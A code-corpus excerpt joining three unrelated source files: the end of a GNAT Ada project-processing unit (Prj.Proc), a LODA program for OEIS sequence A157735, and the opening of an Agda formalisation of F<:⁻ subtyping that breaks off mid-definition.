(Current_Item, Node_Tree) = N_Attribute_Declaration; Var : Variable_Id := No_Variable; begin -- First, find the list where to find the variable or attribute if Is_Attribute then if Pkg /= No_Package then Var := Shared.Packages.Table (Pkg).Decl.Attributes; else Var := Project.Decl.Attributes; end if; else if Pkg /= No_Package then Var := Shared.Packages.Table (Pkg).Decl.Variables; else Var := Project.Decl.Variables; end if; end if; -- Loop through the list, to find if it has already been declared while Var /= No_Variable and then Shared.Variable_Elements.Table (Var).Name /= Name loop Var := Shared.Variable_Elements.Table (Var).Next; end loop; -- If it has not been declared, create a new entry in the list if Var = No_Variable then -- All single string attribute should already have been declared -- with a default empty string value. pragma Assert (not Is_Attribute, "illegal attribute declaration for " & Get_Name_String (Name)); Variable_Element_Table.Increment_Last (Shared.Variable_Elements); Var := Variable_Element_Table.Last (Shared.Variable_Elements); -- Put the new variable in the appropriate list if Pkg /= No_Package then Shared.Variable_Elements.Table (Var) := (Next => Shared.Packages.Table (Pkg).Decl.Variables, Name => Name, Value => New_Value); Shared.Packages.Table (Pkg).Decl.Variables := Var; else Shared.Variable_Elements.Table (Var) := (Next => Project.Decl.Variables, Name => Name, Value => New_Value); Project.Decl.Variables := Var; end if; -- If the variable/attribute has already been declared, just -- change the value. else Shared.Variable_Elements.Table (Var).Value := New_Value; end if; if Is_Attribute and then Name = Snames.Name_Project_Path then if In_Tree.Is_Root_Tree then declare Val : String_List_Id := New_Value.Values; List : Name_Ids.Vector; begin -- Get all values while Val /= Nil_String loop List.Prepend (Shared.String_Elements.Table (Val).Value); Val := Shared.String_Elements.Table (Val).Next; end loop; -- Prepend them in the order found in the attribute for K in Positive range 1 .. Positive (List.Length) loop Prj.Env.Add_Directories (Child_Env.Project_Path, Normalize_Pathname (Name => Get_Name_String (List.Element (K)), Directory => Get_Name_String (Project.Directory.Display_Name)), Prepend => True); end loop; end; else if Current_Verbosity = High then Debug_Output ("'for Project_Path' has no effect except in" & " root aggregate"); end if; end if; end if; end Process_Expression_Variable_Decl; ------------------------ -- Process_Expression -- ------------------------ procedure Process_Expression (Current : Project_Node_Id) is New_Value : Variable_Value := Expression (Project => Project, Shared => Shared, From_Project_Node => From_Project_Node, From_Project_Node_Tree => Node_Tree, Env => Env, Pkg => Pkg, First_Term => Tree.First_Term (Expression_Of (Current, Node_Tree), Node_Tree), Kind => Expression_Kind_Of (Current, Node_Tree)); begin -- Process a typed variable declaration if Kind_Of (Current, Node_Tree) = N_Typed_Variable_Declaration then Check_Or_Set_Typed_Variable (New_Value, Current); end if; if Kind_Of (Current, Node_Tree) /= N_Attribute_Declaration or else Associative_Array_Index_Of (Current, Node_Tree) = No_Name then Process_Expression_Variable_Decl (Current, New_Value); else Process_Expression_For_Associative_Array (Current, New_Value); end if; end Process_Expression; ----------------------------------- -- Process_Attribute_Declaration -- ----------------------------------- procedure Process_Attribute_Declaration (Current : Project_Node_Id) is begin if Expression_Of (Current, Node_Tree) = Empty_Node then Process_Associative_Array (Current); else Process_Expression (Current); end if; end Process_Attribute_Declaration; ------------------------------- -- Process_Case_Construction -- ------------------------------- procedure Process_Case_Construction (Current_Item : Project_Node_Id) is The_Project : Project_Id := Project; -- The id of the project of the case variable The_Package : Package_Id := Pkg; -- The id of the package, if any, of the case variable The_Variable : Variable_Value := Nil_Variable_Value; -- The case variable Case_Value : Name_Id := No_Name; -- The case variable value Case_Item : Project_Node_Id := Empty_Node; Choice_String : Project_Node_Id := Empty_Node; Decl_Item : Project_Node_Id := Empty_Node; begin declare Variable_Node : constant Project_Node_Id := Case_Variable_Reference_Of (Current_Item, Node_Tree); Var_Id : Variable_Id := No_Variable; Name : Name_Id := No_Name; begin -- If a project was specified for the case variable, get its id if Present (Project_Node_Of (Variable_Node, Node_Tree)) then Name := Name_Of (Project_Node_Of (Variable_Node, Node_Tree), Node_Tree); The_Project := Imported_Or_Extended_Project_From (Project, Name, No_Extending => True); The_Package := No_Package; end if; -- If a package was specified for the case variable, get its id if Present (Package_Node_Of (Variable_Node, Node_Tree)) then Name := Name_Of (Package_Node_Of (Variable_Node, Node_Tree), Node_Tree); The_Package := Package_From (The_Project, Shared, Name); end if; Name := Name_Of (Variable_Node, Node_Tree); -- First, look for the case variable into the package, if any if The_Package /= No_Package then Name := Name_Of (Variable_Node, Node_Tree); Var_Id := Shared.Packages.Table (The_Package).Decl.Variables; while Var_Id /= No_Variable and then Shared.Variable_Elements.Table (Var_Id).Name /= Name loop Var_Id := Shared.Variable_Elements.Table (Var_Id).Next; end loop; end if; -- If not found in the package, or if there is no package, look at -- the project level. if Var_Id = No_Variable and then No (Package_Node_Of (Variable_Node, Node_Tree)) then Var_Id := The_Project.Decl.Variables; while Var_Id /= No_Variable and then Shared.Variable_Elements.Table (Var_Id).Name /= Name loop Var_Id := Shared.Variable_Elements.Table (Var_Id).Next; end loop; end if; if Var_Id = No_Variable then if Node_Tree.Incomplete_With then return; -- Should never happen, because this has already been checked -- during parsing. else Write_Line ("variable """ & Get_Name_String (Name) & """ not found"); raise Program_Error; end if; end if; -- Get the case variable The_Variable := Shared.Variable_Elements. Table (Var_Id).Value; if The_Variable.Kind /= Single then -- Should never happen, because this has already been checked -- during parsing. Write_Line ("variable""" & Get_Name_String (Name) & """ is not a single string variable"); raise Program_Error; end if; -- Get the case variable value Case_Value := The_Variable.Value; end; -- Now look into all the case items of the case construction Case_Item := First_Case_Item_Of (Current_Item, Node_Tree); Case_Item_Loop : while Present (Case_Item) loop Choice_String := First_Choice_Of (Case_Item, Node_Tree); -- When Choice_String is nil, it means that it is the -- "when others =>" alternative. if No (Choice_String) then Decl_Item := First_Declarative_Item_Of (Case_Item, Node_Tree); exit Case_Item_Loop; end if; -- Look into all the alternative of this case item Choice_Loop : while Present (Choice_String) loop if Case_Value = String_Value_Of (Choice_String, Node_Tree) then Decl_Item := First_Declarative_Item_Of (Case_Item, Node_Tree); exit Case_Item_Loop; end if; Choice_String := Next_Literal_String (Choice_String, Node_Tree); end loop Choice_Loop; Case_Item := Next_Case_Item (Case_Item, Node_Tree); end loop Case_Item_Loop; -- If there is an alternative, then we process it if Present (Decl_Item) then Process_Declarative_Items (Project => Project, In_Tree => In_Tree, From_Project_Node => From_Project_Node, Node_Tree => Node_Tree, Env => Env, Pkg => Pkg, Item => Decl_Item, Child_Env => Child_Env); end if; end Process_Case_Construction; -- Local variables Current, Decl : Project_Node_Id; Kind : Project_Node_Kind; -- Start of processing for Process_Declarative_Items begin Decl := Item; while Present (Decl) loop Current := Current_Item_Node (Decl, Node_Tree); Decl := Next_Declarative_Item (Decl, Node_Tree); Kind := Kind_Of (Current, Node_Tree); case Kind is when N_Package_Declaration => Process_Package_Declaration (Current); -- Nothing to process for string type declaration when N_String_Type_Declaration => null; when N_Attribute_Declaration | N_Typed_Variable_Declaration | N_Variable_Declaration => Process_Attribute_Declaration (Current); when N_Case_Construction => Process_Case_Construction (Current); when others => Write_Line ("Illegal declarative item: " & Kind'Img); raise Program_Error; end case; end loop; end Process_Declarative_Items; ---------------------------------- -- Process_Project_Tree_Phase_1 -- ---------------------------------- procedure Process_Project_Tree_Phase_1 (In_Tree : Project_Tree_Ref; Project : out Project_Id; Packages_To_Check : String_List_Access; Success : out Boolean; From_Project_Node : Project_Node_Id; From_Project_Node_Tree : Project_Node_Tree_Ref; Env : in out Prj.Tree.Environment; Reset_Tree : Boolean := True; On_New_Tree_Loaded : Tree_Loaded_Callback := null) is begin if Reset_Tree then -- Make sure there are no projects in the data structure Free_List (In_Tree.Projects, Free_Project => True); end if; Processed_Projects.Reset; -- And process the main project and all of the projects it depends on, -- recursively. Debug_Increase_Indent ("Process tree, phase 1"); Recursive_Process (Project => Project, In_Tree => In_Tree, Packages_To_Check => Packages_To_Check, From_Project_Node => From_Project_Node, From_Project_Node_Tree => From_Project_Node_Tree, Env => Env, Extended_By => No_Project, From_Encapsulated_Lib => False, On_New_Tree_Loaded => On_New_Tree_Loaded); Success := Total_Errors_Detected = 0 and then (Warning_Mode /= Treat_As_Error or else Warnings_Detected = 0); if Current_Verbosity = High then Debug_Decrease_Indent ("Done Process tree, phase 1, Success=" & Success'Img); end if; end Process_Project_Tree_Phase_1; ---------------------------------- -- Process_Project_Tree_Phase_2 -- ---------------------------------- procedure Process_Project_Tree_Phase_2 (In_Tree : Project_Tree_Ref; Project : Project_Id; Success : out Boolean; From_Project_Node : Project_Node_Id; From_Project_Node_Tree : Project_Node_Tree_Ref; Env : Environment) is Obj_Dir : Path_Name_Type; Extending : Project_Id; Extending2 : Project_Id; Prj : Project_List; -- Start of processing for Process_Project_Tree_Phase_2 begin Success := True; Debug_Increase_Indent ("Process tree, phase 2", Project.Name); if Project /= No_Project then Check (In_Tree, Project, From_Project_Node_Tree, Env.Flags); end if; -- If main project is an extending all project, set object directory of -- all virtual extending projects to object directory of main project. if Project /= No_Project and then Is_Extending_All (From_Project_Node, From_Project_Node_Tree) then declare Object_Dir : constant Path_Information := Project.Object_Directory; begin Prj := In_Tree.Projects; while Prj /= null loop if Prj.Project.Virtual then Prj.Project.Object_Directory := Object_Dir; end if; Prj := Prj.Next; end loop; end; end if; -- Check that no extending project shares its object directory with -- the project(s) it extends. if Project /= No_Project then Prj := In_Tree.Projects; while Prj /= null loop Extending := Prj.Project.Extended_By; if Extending /= No_Project then Obj_Dir := Prj.Project.Object_Directory.Name; -- Check that a project being extended does not share its -- object directory with any project that extends it, directly -- or indirectly, including a virtual extending project. -- Start with the project directly extending it Extending2 := Extending; while Extending2 /= No_Project loop if Has_Ada_Sources (Extending2) and then Extending2.Object_Directory.Name = Obj_Dir then if Extending2.Virtual then Error_Msg_Name_1 := Prj.Project.Display_Name; Error_Msg (Env.Flags, "project %% cannot be extended by a virtual" & " project with the same object directory", Prj.Project.Location, Project); else Error_Msg_Name_1 := Extending2.Display_Name; Error_Msg_Name_2 := Prj.Project.Display_Name; Error_Msg (Env.Flags, "project %% cannot extend project %%", Extending2.Location, Project); Error_Msg (Env.Flags, "\they share the same object directory", Extending2.Location, Project); end if; end if; -- Continue with the next extending project, if any Extending2 := Extending2.Extended_By; end loop; end if; Prj := Prj.Next; end loop; end if; Debug_Decrease_Indent ("Done Process tree, phase 2"); Success := Total_Errors_Detected = 0 and then (Warning_Mode /= Treat_As_Error or else Warnings_Detected = 0); end Process_Project_Tree_Phase_2; ----------------------- -- Recursive_Process -- ----------------------- procedure Recursive_Process (In_Tree : Project_Tree_Ref; Project : out Project_Id; Packages_To_Check : String_List_Access; From_Project_Node : Project_Node_Id; From_Project_Node_Tree : Project_Node_Tree_Ref; Env : in out Prj.Tree.Environment; Extended_By : Project_Id; From_Encapsulated_Lib : Boolean; On_New_Tree_Loaded : Tree_Loaded_Callback := null) is Shared : constant Shared_Project_Tree_Data_Access := In_Tree.Shared; Child_Env : Prj.Tree.Environment; -- Only used for the root aggregate project (if any). This is left -- uninitialized otherwise. procedure Process_Imported_Projects (Imported : in out Project_List; Limited_With : Boolean); -- Process imported projects. If Limited_With is True, then only -- projects processed through a "limited with" are processed, otherwise -- only projects imported through a standard "with" are processed. -- Imported is the id of the last imported project. procedure Process_Aggregated_Projects; -- Process all the projects aggregated in List. This does nothing if the -- project is not an aggregate project. procedure Process_Extended_Project; -- Process the extended project: inherit all packages from the extended -- project that are not explicitly defined or renamed. Also inherit the -- languages, if attribute Languages is not explicitly defined. ------------------------------- -- Process_Imported_Projects -- ------------------------------- procedure Process_Imported_Projects (Imported : in out Project_List; Limited_With : Boolean) is With_Clause : Project_Node_Id; New_Project : Project_Id; Proj_Node : Project_Node_Id; begin With_Clause := First_With_Clause_Of (From_Project_Node, From_Project_Node_Tree); while Present (With_Clause) loop Proj_Node := Non_Limited_Project_Node_Of (With_Clause, From_Project_Node_Tree); New_Project := No_Project; if (Limited_With and then No (Proj_Node)) or else (not Limited_With and then Present (Proj_Node)) then Recursive_Process (In_Tree => In_Tree, Project => New_Project, Packages_To_Check => Packages_To_Check, From_Project_Node => Project_Node_Of (With_Clause, From_Project_Node_Tree), From_Project_Node_Tree => From_Project_Node_Tree, Env => Env, Extended_By => No_Project, From_Encapsulated_Lib => From_Encapsulated_Lib, On_New_Tree_Loaded => On_New_Tree_Loaded); if Imported = null then Project.Imported_Projects := new Project_List_Element' (Project => New_Project, From_Encapsulated_Lib => False, Next => null); Imported := Project.Imported_Projects; else Imported.Next := new Project_List_Element' (Project => New_Project, From_Encapsulated_Lib => False, Next => null); Imported := Imported.Next; end if; end if; With_Clause := Next_With_Clause_Of (With_Clause, From_Project_Node_Tree); end loop; end Process_Imported_Projects; --------------------------------- -- Process_Aggregated_Projects -- --------------------------------- procedure Process_Aggregated_Projects is List : Aggregated_Project_List; Loaded_Project : Prj.Tree.Project_Node_Id; Success : Boolean := True; Tree : Project_Tree_Ref; Node_Tree : Project_Node_Tree_Ref; begin if Project.Qualifier not in Aggregate_Project then return; end if; Debug_Increase_Indent ("Process_Aggregated_Projects", Project.Name); Prj.Nmsc.Process_Aggregated_Projects (Tree => In_Tree, Project => Project, Node_Tree => From_Project_Node_Tree, Flags => Env.Flags); List := Project.Aggregated_Projects; while Success and then List /= null loop Node_Tree := new Project_Node_Tree_Data; Initialize (Node_Tree); Prj.Part.Parse (In_Tree => Node_Tree, Project => Loaded_Project, Packages_To_Check => Packages_To_Check, Project_File_Name => Get_Name_String (List.Path), Errout_Handling => Prj.Part.Never_Finalize, Current_Directory => Get_Name_String (Project.Directory.Name), Is_Config_File => False, Env => Child_Env); Success := not Prj.Tree.No (Loaded_Project); if Success then if Node_Tree.Incomplete_With then From_Project_Node_Tree.Incomplete_With := True; end if; List.Tree := new Project_Tree_Data (Is_Root_Tree => False); Prj.Initialize (List.Tree); List.Tree.Shared := In_Tree.Shared; -- In aggregate library, aggregated projects are parsed using -- the aggregate library tree. if Project.Qualifier = Aggregate_Library then Tree := In_Tree; else Tree := List.Tree; end if; -- We can only do the phase 1 of the processing, since we do -- not have access to the configuration file yet (this is -- called when doing phase 1 of the processing for the root -- aggregate project). if In_Tree.Is_Root_Tree then Process_Project_Tree_Phase_1 (In_Tree => Tree, Project => List.Project, Packages_To_Check => Packages_To_Check, Success => Success, From_Project_Node => Loaded_Project, From_Project_Node_Tree => Node_Tree, Env => Child_Env, Reset_Tree => False, On_New_Tree_Loaded => On_New_Tree_Loaded); else -- use the same environment as the rest of the aggregated -- projects, ie the one that was setup by the root aggregate Process_Project_Tree_Phase_1 (In_Tree => Tree, Project => List.Project, Packages_To_Check => Packages_To_Check, Success => Success, From_Project_Node => Loaded_Project, From_Project_Node_Tree => Node_Tree, Env => Env, Reset_Tree => False, On_New_Tree_Loaded => On_New_Tree_Loaded); end if; if On_New_Tree_Loaded /= null then On_New_Tree_Loaded (Node_Tree, Tree, Loaded_Project, List.Project); end if; else Debug_Output ("Failed to parse", Name_Id (List.Path)); end if; List := List.Next; end loop; Debug_Decrease_Indent ("Done Process_Aggregated_Projects"); end Process_Aggregated_Projects; ------------------------------ -- Process_Extended_Project -- ------------------------------ procedure Process_Extended_Project is Extended_Pkg : Package_Id; Current_Pkg : Package_Id; Element : Package_Element; First : constant Package_Id := Project.Decl.Packages; Attribute1 : Variable_Id; Attribute2 : Variable_Id; Attr_Value1 : Variable; Attr_Value2 : Variable; begin Extended_Pkg := Project.Extends.Decl.Packages; while Extended_Pkg /= No_Package loop Element := Shared.Packages.Table (Extended_Pkg); Current_Pkg := First; while Current_Pkg /= No_Package and then Shared.Packages.Table (Current_Pkg).Name /= Element.Name loop Current_Pkg := Shared.Packages.Table (Current_Pkg).Next; end loop; if Current_Pkg = No_Package then Package_Table.Increment_Last (Shared.Packages); Current_Pkg := Package_Table.Last (Shared.Packages); Shared.Packages.Table (Current_Pkg) := (Name => Element.Name, Decl => No_Declarations, Parent => No_Package, Next => Project.Decl.Packages); Project.Decl.Packages := Current_Pkg; Copy_Package_Declarations (From => Element.Decl, To => Shared.Packages.Table (Current_Pkg).Decl, New_Loc => No_Location, Restricted => True, Shared => Shared); end if; Extended_Pkg := Element.Next; end loop; -- Check if attribute Languages is declared in the extending project Attribute1 := Project.Decl.Attributes; while Attribute1 /= No_Variable loop Attr_Value1 := Shared.Variable_Elements. Table (Attribute1); exit when Attr_Value1.Name = Snames.Name_Languages; Attribute1 := Attr_Value1.Next; end loop; if Attribute1 = No_Variable or else Attr_Value1.Value.Default then -- Attribute Languages is not declared in the extending project. -- Check if it is declared in the project being extended. Attribute2 := Project.Extends.Decl.Attributes; while Attribute2 /= No_Variable loop Attr_Value2 := Shared.Variable_Elements.Table (Attribute2); exit when Attr_Value2.Name = Snames.Name_Languages; Attribute2 := Attr_Value2.Next; end loop; if Attribute2 /= No_Variable and then not Attr_Value2.Value.Default then -- As attribute Languages is declared in the project being -- extended, copy its value for the extending project. if Attribute1 = No_Variable then Variable_Element_Table.Increment_Last (Shared.Variable_Elements); Attribute1 := Variable_Element_Table.Last (Shared.Variable_Elements); Attr_Value1.Next := Project.Decl.Attributes; Project.Decl.Attributes := Attribute1; end if; Attr_Value1.Name := Snames.Name_Languages; Attr_Value1.Value := Attr_Value2.Value; Shared.Variable_Elements.Table (Attribute1) := Attr_Value1; end if; end if; end Process_Extended_Project; -- Start of processing for Recursive_Process begin if No (From_Project_Node) then Project := No_Project; else declare Imported, Mark : Project_List; Declaration_Node : Project_Node_Id := Empty_Node; Name : constant Name_Id := Name_Of (From_Project_Node, From_Project_Node_Tree); Display_Name : constant Name_Id := Display_Name_Of (From_Project_Node, From_Project_Node_Tree); begin Project := Processed_Projects.Get (Name); if Project /= No_Project then -- Make sure that, when a project is extended, the project id -- of the project extending it is recorded in its data, even -- when it has already been processed as an imported project. -- This is for virtually extended projects. if Extended_By /= No_Project then Project.Extended_By := Extended_By; end if; return; end if; -- Check if the project is already in the tree Project := No_Project; declare List : Project_List := In_Tree.Projects; Path : constant Path_Name_Type := Path_Name_Of (From_Project_Node, From_Project_Node_Tree); begin while List /= null loop if List.Project.Path.Display_Name = Path then Project := List.Project; exit; end if; List := List.Next; end loop; end; if Project = No_Project then Project := new Project_Data' (Empty_Project (Project_Qualifier_Of (From_Project_Node, From_Project_Node_Tree))); -- Note that at this point we do not know yet if the project -- has been withed from an encapsulated library or not. In_Tree.Projects := new Project_List_Element' (Project => Project, From_Encapsulated_Lib => False, Next => In_Tree.Projects); end if; -- Keep track of this point Mark := In_Tree.Projects; Processed_Projects.Set (Name, Project); Project.Name := Name; Project.Display_Name := Display_Name; Get_Name_String (Name); -- If name starts with the virtual prefix, flag the project as -- being a virtual extending project. if Name_Len > Virtual_Prefix'Length and then Name_Buffer (1 .. Virtual_Prefix'Length) = Virtual_Prefix then Project.Virtual := True; end if; Project.Path.Display_Name := Path_Name_Of (From_Project_Node, From_Project_Node_Tree); Get_Name_String (Project.Path.Display_Name); Canonical_Case_File_Name (Name_Buffer (1 .. Name_Len)); Project.Path.Name := Name_Find; Project.Location := Location_Of (From_Project_Node, From_Project_Node_Tree); Project.Directory.Display_Name := Directory_Of (From_Project_Node, From_Project_Node_Tree); Get_Name_String (Project.Directory.Display_Name); Canonical_Case_File_Name (Name_Buffer (1 .. Name_Len)); Project.Directory.Name := Name_Find; Project.Extended_By := Extended_By; Add_Attributes (Project, Name, Name_Id (Project.Directory.Display_Name), In_Tree.Shared, Project.Decl, Prj.Attr.Attribute_First, Project_Level => True); Process_Imported_Projects (Imported, Limited_With => False); if Project.Qualifier = Aggregate then Initialize_And_Copy (Child_Env, Copy_From => Env); elsif Project.Qualifier = Aggregate_Library then -- The child environment is the same as the current one Child_Env := Env; else -- No need to initialize Child_Env, since it will not be -- used anyway by Process_Declarative_Items (only the root -- aggregate can modify it, and it is never read anyway). null; end if; Declaration_Node := Project_Declaration_Of (From_Project_Node, From_Project_Node_Tree); Recursive_Process (In_Tree => In_Tree, Project => Project.Extends, Packages_To_Check => Packages_To_Check, From_Project_Node => Extended_Project_Of (Declaration_Node, From_Project_Node_Tree), From_Project_Node_Tree => From_Project_Node_Tree, Env => Env, Extended_By => Project, From_Encapsulated_Lib => From_Encapsulated_Lib, On_New_Tree_Loaded => On_New_Tree_Loaded); Process_Declarative_Items (Project => Project, In_Tree => In_Tree, From_Project_Node => From_Project_Node, Node_Tree => From_Project_Node_Tree, Env => Env, Pkg => No_Package, Item => First_Declarative_Item_Of (Declaration_Node, From_Project_Node_Tree), Child_Env => Child_Env); if Project.Extends /= No_Project then Process_Extended_Project; end if; Process_Imported_Projects (Imported, Limited_With => True); if Total_Errors_Detected = 0 then Process_Aggregated_Projects; end if; -- At this point (after Process_Declarative_Items) we have the -- attribute values set, we can backtrace In_Tree.Project and -- set the From_Encapsulated_Library status. declare Lib_Standalone : constant Prj.Variable_Value := Prj.Util.Value_Of (Snames.Name_Library_Standalone, Project.Decl.Attributes, Shared); List : Project_List := In_Tree.Projects; Is_Encapsulated : Boolean; begin Get_Name_String (Lib_Standalone.Value); To_Lower (Name_Buffer (1 .. Name_Len)); Is_Encapsulated := Name_Buffer (1 .. Name_Len) = "encapsulated"; if Is_Encapsulated then while List /= null and then List /= Mark loop List.From_Encapsulated_Lib := Is_Encapsulated; List := List.Next; end loop; end if; if Total_Errors_Detected = 0 then -- For an aggregate library we add the aggregated projects -- as imported ones. This is necessary to give visibility -- to all sources from the aggregates from the aggregated -- library projects. if Project.Qualifier = Aggregate_Library then declare L : Aggregated_Project_List; begin L := Project.Aggregated_Projects; while L /= null loop Project.Imported_Projects := new Project_List_Element' (Project => L.Project, From_Encapsulated_Lib => Is_Encapsulated, Next => Project.Imported_Projects); L := L.Next; end loop; end; end if; end if; end; if Project.Qualifier = Aggregate and then In_Tree.Is_Root_Tree then Free (Child_Env); end if; end; end if; end Recursive_Process; ----------------------------- -- Set_Default_Runtime_For -- ----------------------------- procedure Set_Default_Runtime_For (Language : Name_Id; Value : String) is begin Name_Len := Value'Length; Name_Buffer (1 .. Name_Len) := Value; Runtime_Defaults.Set (Language, Name_Find); end Set_Default_Runtime_For; end Prj.Proc;
programs/oeis/157/A157735.asm
neoneye/loda
22
5672
; A157735: 18522n - 8274. ; 10248,28770,47292,65814,84336,102858,121380,139902,158424,176946,195468,213990,232512,251034,269556,288078,306600,325122,343644,362166,380688,399210,417732,436254,454776,473298,491820,510342,528864,547386,565908,584430,602952,621474,639996,658518,677040,695562,714084,732606,751128,769650,788172,806694,825216,843738,862260,880782,899304,917826,936348,954870,973392,991914,1010436,1028958,1047480,1066002,1084524,1103046,1121568,1140090,1158612,1177134,1195656,1214178,1232700,1251222,1269744,1288266,1306788,1325310,1343832,1362354,1380876,1399398,1417920,1436442,1454964,1473486,1492008,1510530,1529052,1547574,1566096,1584618,1603140,1621662,1640184,1658706,1677228,1695750,1714272,1732794,1751316,1769838,1788360,1806882,1825404,1843926 mul $0,18522 add $0,10248
agda/FsubMinus.agda
HuStmpHrrr/popl20-artifact
1
8951
<filename>agda/FsubMinus.agda {-# OPTIONS --without-K --safe #-} -- In this module, we define F<:⁻, F<:ᵈ (F<: deterministic defined in Pierce92) and -- show that F<:⁻ subtyping is undecidable. module FsubMinus where open import Data.List as List open import Data.Nat open import Data.Maybe as Maybe open import Data.Product open import Data.Vec as Vec renaming (_∷_ to _‼_ ; [] to nil) hiding (_++_) open import Function open import Data.Empty renaming (⊥ to False) open import Relation.Nullary open import Relation.Unary using () renaming (Decidable to UDecidable) open import Relation.Binary using () renaming (Decidable to BDecidable) open import Relation.Binary.PropositionalEquality as ≡ open import Data.Nat.Properties as ℕₚ open import Data.Maybe.Properties as Maybeₚ open import Utils -- Definition of F<:⁻ -- -- F<:⁻ is defined by removing function types (_⟶_ in the paper) from F<:. module FsubMinus where infix 6 var_ infixr 6 Π<:_∙_ -- Types -- -- * ⊤ is a supertype of all types. -- * (var n) represents a type variable. -- * (Π<: S ∙ U) represent a universal type (∀ X <: S . U). data Ftyp : Set where ⊤ : Ftyp var_ : ℕ → Ftyp Π<:_∙_ : Ftyp → Ftyp → Ftyp -- typing context Env : Set Env = List Ftyp -- shifting operation of de Bruijn indices infixl 7 _↑_ _↑_ : Ftyp → ℕ → Ftyp ⊤ ↑ n = ⊤ (var x) ↑ n with n ≤? x ... | yes p = var (suc x) ... | no ¬p = var x (Π<: S ∙ U) ↑ n = Π<: S ↑ n ∙ U ↑ suc n infix 4 _<:_∈_ data _<:_∈_ : ℕ → Ftyp → Env → Set where hd : ∀ {T Γ} → 0 <: T ↑ 0 ∈ T ∷ Γ tl : ∀ {n T T′ Γ} → n <: T ∈ Γ → suc n <: T ↑ 0 ∈ T′ ∷ Γ -- subtyping judgment of F<:⁻ -- The statement of the rules should be self-explanatory. infix 4 _⊢F_<:_ data _⊢F_<:_ : Env → Ftyp → Ftyp → Set where ftop : ∀ {Γ T} → Γ ⊢F T <: ⊤ fvrefl : ∀ {Γ n} → Γ ⊢F var n <: var n fbinds : ∀ {Γ n T U} → n <: T ∈ Γ → Γ ⊢F T <: U → Γ ⊢F var n <: U fall : ∀ {Γ S₁ S₂ U₁ U₂} → Γ ⊢F S₂ <: S₁ → Γ ‣ S₂ ! ⊢F U₁ <: U₂ → Γ ⊢F Π<: S₁ ∙ U₁ <: Π<: S₂ ∙ U₂ -- The remaining are some technical setup. env-lookup : Env → ℕ → Maybe Ftyp env-lookup [] n = nothing env-lookup (T ∷ Γ) zero = just $ T ↑ 0 env-lookup (T ∷ Γ) (suc n) = Maybe.map (_↑ 0) $ env-lookup Γ n lookup⇒<:∈ : ∀ {Γ n T} → env-lookup Γ n ≡ just T → n <: T ∈ Γ lookup⇒<:∈ {[]} {n} () lookup⇒<:∈ {T ∷ Γ} {zero} refl = hd lookup⇒<:∈ {T ∷ Γ} {suc n} eq with env-lookup Γ n | lookup⇒<:∈ {Γ} {n} ... | nothing | rec with eq ... | () lookup⇒<:∈ {T ∷ Γ} {suc n} refl | just T′ | rec = tl (rec refl) <:∈⇒lookup : ∀ {Γ n T} → n <: T ∈ Γ → env-lookup Γ n ≡ just T <:∈⇒lookup hd = refl <:∈⇒lookup (tl <:∈) rewrite <:∈⇒lookup <:∈ = refl env-lookup′ : Env → ℕ → Maybe Ftyp env-lookup′ Γ n = Maybe.map (repeat (suc n) (_↑ 0)) (lookupOpt Γ n) env-lookup-same : ∀ Γ n → env-lookup Γ n ≡ env-lookup′ Γ n env-lookup-same [] n = refl env-lookup-same (T ∷ Γ) zero = refl env-lookup-same (T ∷ Γ) (suc n) rewrite env-lookup-same Γ n = sym $ Maybeₚ.map-compose (lookupOpt Γ n) <:∈-map : ∀ {a} {A : Set a} {n T} {f : A → Ftyp} {_↑′_ : A → ℕ → A} Γ → (∀ a n → f a ↑ n ≡ f (a ↑′ n)) → n <: T ∈ List.map f Γ → ∃ λ a → T ≡ f a <:∈-map {f = f} Γ comm d = aux _ d refl where aux : ∀ {n T Γ*} Γ → n <: T ∈ Γ* → Γ* ≡ List.map f Γ → ∃ λ a → T ≡ f a aux [] hd () aux (T ∷ Γ) hd refl = -, comm _ _ aux [] (tl <:∈) () aux (T ∷ Γ) (tl <:∈) refl with aux Γ <:∈ refl ... | a , refl = -, comm _ _ <:∈-func : ∀ {x T T′ Γ} → x <: T ∈ Γ → x <: T′ ∈ Γ → T ≡ T′ <:∈-func hd hd = refl <:∈-func (tl T∈Γ) (tl T′∈Γ) = cong (_↑ 0) (<:∈-func T∈Γ T′∈Γ) Ftyp-measure : Ftyp → ℕ Ftyp-measure ⊤ = 1 Ftyp-measure (var x) = 1 Ftyp-measure (Π<: S ∙ U) = Ftyp-measure S + Ftyp-measure U Ftyp-measure≥1 : ∀ T → Ftyp-measure T ≥ 1 Ftyp-measure≥1 ⊤ = s≤s z≤n Ftyp-measure≥1 (var _) = s≤s z≤n Ftyp-measure≥1 (Π<: S ∙ U) = ≤-trans (Ftyp-measure≥1 S) (≤-stepsʳ _ ≤-refl) ↑-idx : ℕ → ℕ → ℕ ↑-idx x n with n ≤? x ... | yes p = suc x ... | no ¬p = x ↑-var : ∀ x n → (var x) ↑ n ≡ var (↑-idx x n) ↑-var x n with n ≤? x ... | yes p = refl ... | no ¬p = refl Ftyp-measure-↑ : ∀ T m → Ftyp-measure (T ↑ m) ≡ Ftyp-measure T Ftyp-measure-↑ ⊤ m = refl Ftyp-measure-↑ (var x) m rewrite ↑-var x m = refl Ftyp-measure-↑ (Π<: S ∙ U) m rewrite Ftyp-measure-↑ S m | Ftyp-measure-↑ U (suc m) = refl F-measure : ∀ {Γ S U} → Γ ⊢F S <: U → ℕ F-measure ftop = 1 F-measure fvrefl = 1 F-measure (fbinds _ D) = 1 + F-measure D F-measure (fall D₁ D₂) = 1 + F-measure D₁ + F-measure D₂ F-deriv = Σ (Env × Ftyp × Ftyp) λ { (Γ , S , U) → Γ ⊢F S <: U } env : F-deriv → Env env ((Γ , _) , _) = Γ typ₁ : F-deriv → Ftyp typ₁ ((_ , S , U) , _) = S typ₂ : F-deriv → Ftyp typ₂ ((_ , S , U) , _) = U F-measure-packed : F-deriv → ℕ F-measure-packed (_ , D) = F-measure D ≡⊤-dec : UDecidable (_≡ ⊤) ≡⊤-dec ⊤ = yes refl ≡⊤-dec (var _) = no (λ ()) ≡⊤-dec (Π<: _ ∙ _) = no (λ ()) Π<:-injective : ∀ {S U S′ U′} → Π<: S ∙ U ≡ Π<: S′ ∙ U′ → S ≡ S′ × U ≡ U′ Π<:-injective refl = refl , refl Ftyp-≡-dec : BDecidable (_≡_ {A = Ftyp}) Ftyp-≡-dec ⊤ ⊤ = yes refl Ftyp-≡-dec ⊤ (var _) = no (λ ()) Ftyp-≡-dec ⊤ (Π<: _ ∙ _) = no (λ ()) Ftyp-≡-dec (var _) ⊤ = no (λ ()) Ftyp-≡-dec (var x) (var y) with x ≟ y ... | yes x≡y = yes (cong var_ x≡y) 